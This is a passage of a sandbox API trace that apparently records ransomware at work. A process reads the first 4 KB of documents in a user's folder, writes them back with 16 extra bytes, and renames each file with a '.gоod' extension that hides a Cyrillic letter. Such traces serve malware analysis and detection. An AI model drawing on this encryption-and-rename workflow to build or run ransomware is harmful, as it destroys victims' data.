lpOverlapped=0x0) returned 1 [0246.983] CloseHandle (hObject=0x768) returned 1 [0246.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", lpFilePart=0x0) returned 0x2a [0246.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0246.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.984] GetFileType (hFile=0x768) returned 0x1 [0246.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0246.984] GetFileType (hFile=0x768) returned 0x1 [0246.984] ReadFile (in: hFile=0x768, lpBuffer=0x37f33a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37f33a8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0247.027] CloseHandle (hObject=0x768) returned 1 [0247.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", lpFilePart=0x0) returned 0x2a [0247.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0247.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0247.027] GetFileType (hFile=0x768) returned 0x1 [0247.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0247.027] GetFileType (hFile=0x768) returned 0x1 [0247.027] WriteFile (in: hFile=0x768, lpBuffer=0x37f2130*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x37f2130*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0247.027] CloseHandle (hObject=0x768) returned 1 [0247.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", lpFilePart=0x0) returned 0x2a [0247.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx.gоod", lpFilePart=0x0) returned 0x2f [0247.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0247.027] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ce280, ftCreationTime.dwHighDateTime=0x1d54b03, ftLastAccessTime.dwLowDateTime=0x82b74880, ftLastAccessTime.dwHighDateTime=0x1d5b282, ftLastWriteTime.dwLowDateTime=0x8f7351d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71f7)) returned 1 [0247.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0247.028] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx.gоod")) returned 1 [0247.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0247.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p", lpFilePart=0x0) returned 0x22 [0247.029] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56c222d0, ftCreationTime.dwHighDateTime=0x1d4d5d9, ftLastAccessTime.dwLowDateTime=0x1a59b190, ftLastAccessTime.dwHighDateTime=0x1d4c6d0, ftLastWriteTime.dwLowDateTime=0x1a59b190, ftLastWriteTime.dwHighDateTime=0x1d4c6d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0247.029] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56c222d0, ftCreationTime.dwHighDateTime=0x1d4d5d9, ftLastAccessTime.dwLowDateTime=0x1a59b190, ftLastAccessTime.dwHighDateTime=0x1d4c6d0, ftLastWriteTime.dwLowDateTime=0x1a59b190, ftLastWriteTime.dwHighDateTime=0x1d4c6d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.030] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c94800, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0xd9fd6420, ftLastAccessTime.dwHighDateTime=0x1d4cb3e, ftLastWriteTime.dwLowDateTime=0xd9fd6420, ftLastWriteTime.dwHighDateTime=0x1d4cb3e, nFileSizeHigh=0x0, nFileSizeLow=0xe0cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="dUINUh.pps", cAlternateFileName="")) returned 1 [0247.030] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5a0a30, ftCreationTime.dwHighDateTime=0x1d4cec5, ftLastAccessTime.dwLowDateTime=0xfd5ace40, ftLastAccessTime.dwHighDateTime=0x1d4d0e2, ftLastWriteTime.dwLowDateTime=0xfd5ace40, ftLastWriteTime.dwHighDateTime=0x1d4d0e2, nFileSizeHigh=0x0, nFileSizeLow=0x151fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="vrUrLUHrnm5Ihe5eIKR.pptx", cAlternateFileName="VRURLU~1.PPT")) returned 1 [0247.030] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb81700, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0xd55249f0, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xd55249f0, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x1371d, dwReserved0=0x0, dwReserved1=0x0, cFileName="xUXfOyM.csv", cAlternateFileName="")) returned 1 [0247.030] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.030] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0247.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0247.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0247.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0247.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p", lpFilePart=0x0) returned 0x22 [0247.030] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56c222d0, ftCreationTime.dwHighDateTime=0x1d4d5d9, ftLastAccessTime.dwLowDateTime=0x1a59b190, ftLastAccessTime.dwHighDateTime=0x1d4c6d0, ftLastWriteTime.dwLowDateTime=0x1a59b190, ftLastWriteTime.dwHighDateTime=0x1d4c6d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0247.031] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56c222d0, ftCreationTime.dwHighDateTime=0x1d4d5d9, ftLastAccessTime.dwLowDateTime=0x1a59b190, ftLastAccessTime.dwHighDateTime=0x1d4c6d0, ftLastWriteTime.dwLowDateTime=0x1a59b190, ftLastWriteTime.dwHighDateTime=0x1d4c6d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.031] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c94800, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0xd9fd6420, ftLastAccessTime.dwHighDateTime=0x1d4cb3e, ftLastWriteTime.dwLowDateTime=0xd9fd6420, ftLastWriteTime.dwHighDateTime=0x1d4cb3e, nFileSizeHigh=0x0, nFileSizeLow=0xe0cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="dUINUh.pps", cAlternateFileName="")) returned 1 [0247.038] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5a0a30, ftCreationTime.dwHighDateTime=0x1d4cec5, ftLastAccessTime.dwLowDateTime=0xfd5ace40, ftLastAccessTime.dwHighDateTime=0x1d4d0e2, ftLastWriteTime.dwLowDateTime=0xfd5ace40, ftLastWriteTime.dwHighDateTime=0x1d4d0e2, nFileSizeHigh=0x0, nFileSizeLow=0x151fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="vrUrLUHrnm5Ihe5eIKR.pptx", cAlternateFileName="VRURLU~1.PPT")) returned 1 [0247.038] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb81700, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0xd55249f0, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xd55249f0, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x1371d, dwReserved0=0x0, dwReserved1=0x0, cFileName="xUXfOyM.csv", cAlternateFileName="")) returned 1 [0247.038] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb81700, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0xd55249f0, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xd55249f0, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x1371d, dwReserved0=0x0, dwReserved1=0x0, cFileName="xUXfOyM.csv", cAlternateFileName="")) returned 0 [0247.038] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0247.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0247.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0247.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", lpFilePart=0x0) returned 0x2d [0247.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0247.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), fInfoLevelId=0x0, lpFileInformation=0x387d8b8 | out: lpFileInformation=0x387d8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c94800, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0xd9fd6420, ftLastAccessTime.dwHighDateTime=0x1d4cb3e, ftLastWriteTime.dwLowDateTime=0xd9fd6420, ftLastWriteTime.dwHighDateTime=0x1d4cb3e, nFileSizeHigh=0x0, nFileSizeLow=0xe0cb)) returned 1 [0247.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0247.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", lpFilePart=0x0) returned 0x2d [0247.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0247.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0247.039] GetFileType (hFile=0x768) returned 0x1 [0247.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0247.039] GetFileType (hFile=0x768) returned 0x1 [0247.040] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0247.040] ReadFile (in: hFile=0x768, lpBuffer=0x387dc60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x387dc60*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0247.040] CloseHandle (hObject=0x768) returned 1 [0247.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", lpFilePart=0x0) returned 0x2d [0247.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0247.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0247.040] GetFileType (hFile=0x768) returned 0x1 [0247.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0247.040] GetFileType (hFile=0x768) returned 0x1 [0247.040] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xe0cb [0247.040] WriteFile (in: hFile=0x768, lpBuffer=0x387eec0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x387eec0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0247.040] CloseHandle (hObject=0x768) returned 1 [0247.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", lpFilePart=0x0) returned 0x2d [0247.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0247.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0247.041] GetFileType (hFile=0x768) returned 0x1 [0247.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0247.041] GetFileType (hFile=0x768) returned 0x1 [0247.041] ReadFile (in: hFile=0x768, lpBuffer=0x3881148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3881148*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0248.776] CloseHandle (hObject=0x768) returned 1 [0248.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", lpFilePart=0x0) returned 0x2d [0248.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0248.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0248.776] GetFileType (hFile=0x768) returned 0x1 [0248.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0248.776] GetFileType (hFile=0x768) returned 0x1 [0248.777] WriteFile (in: hFile=0x768, lpBuffer=0x327cb10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x327cb10*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0248.777] CloseHandle (hObject=0x768) returned 1 [0248.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps", lpFilePart=0x0) returned 0x2d [0248.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps.gоod", lpFilePart=0x0) returned 0x32 [0248.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0248.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c94800, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0xd9fd6420, ftLastAccessTime.dwHighDateTime=0x1d4cb3e, ftLastWriteTime.dwLowDateTime=0x907e5b74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0db)) returned 1 [0248.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0248.777] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\dUINUh.pps.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\duinuh.pps.gоod")) returned 1 [0248.778] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", lpFilePart=0x0) returned 0x3b [0248.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0248.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), fInfoLevelId=0x0, lpFileInformation=0x37989d0 | out: lpFileInformation=0x37989d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5a0a30, ftCreationTime.dwHighDateTime=0x1d4cec5, ftLastAccessTime.dwLowDateTime=0xfd5ace40, ftLastAccessTime.dwHighDateTime=0x1d4d0e2, ftLastWriteTime.dwLowDateTime=0xfd5ace40, ftLastWriteTime.dwHighDateTime=0x1d4d0e2, nFileSizeHigh=0x0, nFileSizeLow=0x151fd)) returned 1 [0248.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0248.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", lpFilePart=0x0) returned 0x3b [0248.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0248.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0248.779] GetFileType (hFile=0x768) returned 0x1 [0248.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0248.779] GetFileType (hFile=0x768) returned 0x1 [0248.780] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0248.780] ReadFile (in: hFile=0x768, lpBuffer=0x3798de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3798de8*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0248.780] CloseHandle (hObject=0x768) returned 1 [0248.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", lpFilePart=0x0) returned 0x3b [0248.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0248.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0248.780] GetFileType (hFile=0x768) returned 0x1 [0248.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0248.780] GetFileType (hFile=0x768) returned 0x1 [0248.780] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x151fd [0248.780] WriteFile (in: hFile=0x768, lpBuffer=0x379a080*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x379a080*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0248.781] CloseHandle (hObject=0x768) returned 1 [0248.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", lpFilePart=0x0) returned 0x3b [0248.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0248.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0248.939] GetFileType (hFile=0x768) returned 0x1 [0249.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0249.633] GetFileType (hFile=0x768) returned 0x1 [0249.698] ReadFile (in: hFile=0x768, lpBuffer=0x37df5b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x37df5b0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0249.747] CloseHandle (hObject=0x768) returned 1 [0249.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: 